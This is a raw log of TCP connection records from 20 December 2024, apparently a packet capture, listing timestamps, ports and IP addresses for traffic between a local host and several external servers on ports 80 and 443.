Dec 20, 2024 17:43:36.091242075 CET	49743	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:36.091386080 CET	49743	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:36.091420889 CET	443	49743	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:36.091478109 CET	49743	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:36.091490984 CET	443	49743	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:36.649184942 CET	443	49740	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:36.649310112 CET	443	49740	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:36.649393082 CET	49740	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:36.649660110 CET	49740	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:36.649686098 CET	443	49740	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:36.649712086 CET	49740	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:36.649719000 CET	443	49740	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:36.669163942 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:36.669213057 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:36.669285059 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:36.669703007 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:36.669718027 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:37.042005062 CET	443	49743	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:37.042128086 CET	443	49743	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:37.042351961 CET	49743	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:37.045073032 CET	49743	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:37.045097113 CET	443	49743	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:37.255517006 CET	80	49741	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:37.255650043 CET	49741	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:37.364872932 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:37.365345001 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:37.419320107 CET	49746	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:37.419370890 CET	443	49746	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:37.419445992 CET	49746	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:37.419771910 CET	49746	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:37.419786930 CET	443	49746	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:37.484704018 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:37.484817982 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:37.484862089 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:37.486912966 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:37.487366915 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:37.606919050 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:37.886825085 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:37.886912107 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:37.891669035 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:37.891702890 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:37.891984940 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:37.895493031 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:37.898308039 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:37.898348093 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.633527994 CET	443	49746	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:38.633599997 CET	49746	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:38.635140896 CET	49746	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:38.635153055 CET	443	49746	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:38.635411024 CET	443	49746	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:38.637146950 CET	49746	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:38.637250900 CET	49746	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:38.637258053 CET	443	49746	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:38.715234995 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.715297937 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.715357065 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.715356112 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:38.715384960 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.715428114 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.715430021 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:38.715440035 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.715480089 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:38.723539114 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.731955051 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.732028961 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:38.732037067 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.740264893 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.740314007 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:38.740330935 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.791109085 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:38.826503038 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.826570988 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:38.826575041 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.826617956 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:38.826781988 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.826822042 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:38.826868057 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.826879978 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.826889992 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.826905966 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:38.826926947 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:38.827187061 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.827198982 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.827209949 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.827222109 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.827225924 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:38.827260017 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:38.834799051 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.884835958 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:38.884867907 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.910859108 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.910896063 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.910916090 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:38.910947084 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.910995007 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:38.911000967 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.911026955 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.911065102 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:38.911245108 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:38.911262035 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.911297083 CET	49744	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:38.911303997 CET	443	49744	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:38.946165085 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.946223974 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.946228981 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:38.946263075 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:38.950417042 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.950464964 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:38.950505018 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:38.950548887 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.019181967 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.019309044 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.019496918 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.019551039 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.023344040 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.023418903 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.023622036 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.023668051 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.031758070 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.031819105 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.032390118 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.032434940 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.040318012 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.040369987 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.040432930 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.040477991 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.050718069 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.050780058 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.051136017 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.051182032 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.057096958 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.057149887 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.057193041 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.057312965 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.065423965 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.065475941 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.065478086 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.065517902 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.073872089 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.073940992 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.074350119 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.074399948 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.082258940 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.082305908 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.082442045 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.082477093 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.090785980 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.090843916 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.090862989 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.090903997 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.097868919 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.097922087 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.098241091 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.098289013 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.105124950 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.105206966 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.105336905 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.105377913 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.211389065 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.211424112 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.211463928 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.211491108 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.213677883 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.213727951 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.213742018 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.213779926 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.218240976 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.218302011 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.218516111 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.218555927 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.222845078 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.222898006 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.223016977 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.223057985 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.227720022 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.227766037 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.227881908 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.227929115 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.232932091 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.232975006 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.233071089 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.233109951 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.236718893 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.236767054 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.236939907 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.236998081 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.241116047 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.241178036 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.241271973 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.241332054 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.245637894 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.245687962 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.245816946 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.245857954 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.250215054 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.250266075 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.250394106 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.250437975 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.254894018 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.254909039 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.254936934 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.254954100 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.259296894 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.259340048 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.259371042 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.259417057 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.263863087 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.263937950 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.264134884 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.264170885 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.269839048 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.269892931 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.269953012 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.269996881 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.272959948 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.273014069 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.273201942 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.273247004 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.277493000 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.277544022 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.277712107 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.277757883 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.282028913 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.282102108 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.282118082 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.282155991 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.404575109 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.404592991 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.404632092 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.404659033 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.405817986 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.405829906 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.405859947 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.405883074 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.409022093 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.409074068 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.409077883 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.409109116 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.412565947 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.412612915 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.412647009 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.412683964 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.416191101 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.416238070 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.416271925 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.416322947 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.419852018 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.419898033 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.420181990 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.420224905 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.423513889 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.423562050 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.423679113 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.423717022 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.427098036 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.427140951 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.427350044 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.427531958 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.432600975 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.432615995 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.432650089 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.432677984 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.435595989 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.435609102 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.435699940 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.439224005 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.439275026 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.439306021 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.439343929 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.442749977 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.442800999 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.442883015 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.442923069 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.446470976 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.446516037 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.446582079 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.446618080 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.450031042 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.450083017 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.450257063 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.450304985 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.453708887 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.453749895 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.453860998 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.453900099 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.457386971 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.457436085 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.457496881 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.457539082 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.461136103 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.461188078 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.461513042 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.461565018 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.465259075 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.465275049 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.465323925 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.467360020 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.467406988 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.467441082 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.467480898 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.470804930 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.470860958 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.471457958 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.471502066 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.474483967 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.474534035 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.474539995 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.474577904 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.478123903 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.478179932 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.478266001 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.478315115 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.481817007 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.481864929 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.482084990 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.482125044 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.485352993 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.485418081 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.485425949 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.485466957 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.489124060 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.489204884 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.489243984 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.489279985 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.491245031 CET	443	49746	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:39.491355896 CET	443	49746	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:39.491404057 CET	49746	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:39.492328882 CET	49746	443	192.168.2.6	172.67.131.246
Dec 20, 2024 17:43:39.492346048 CET	443	49746	172.67.131.246	192.168.2.6
Dec 20, 2024 17:43:39.492713928 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.492758036 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.494777918 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.494823933 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.496532917 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.496546030 CET	80	49745	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:39.496649981 CET	49745	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:39.523736954 CET	49752	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:39.523793936 CET	443	49752	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:39.523865938 CET	49752	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:39.524502993 CET	49752	443	192.168.2.6	172.67.197.170
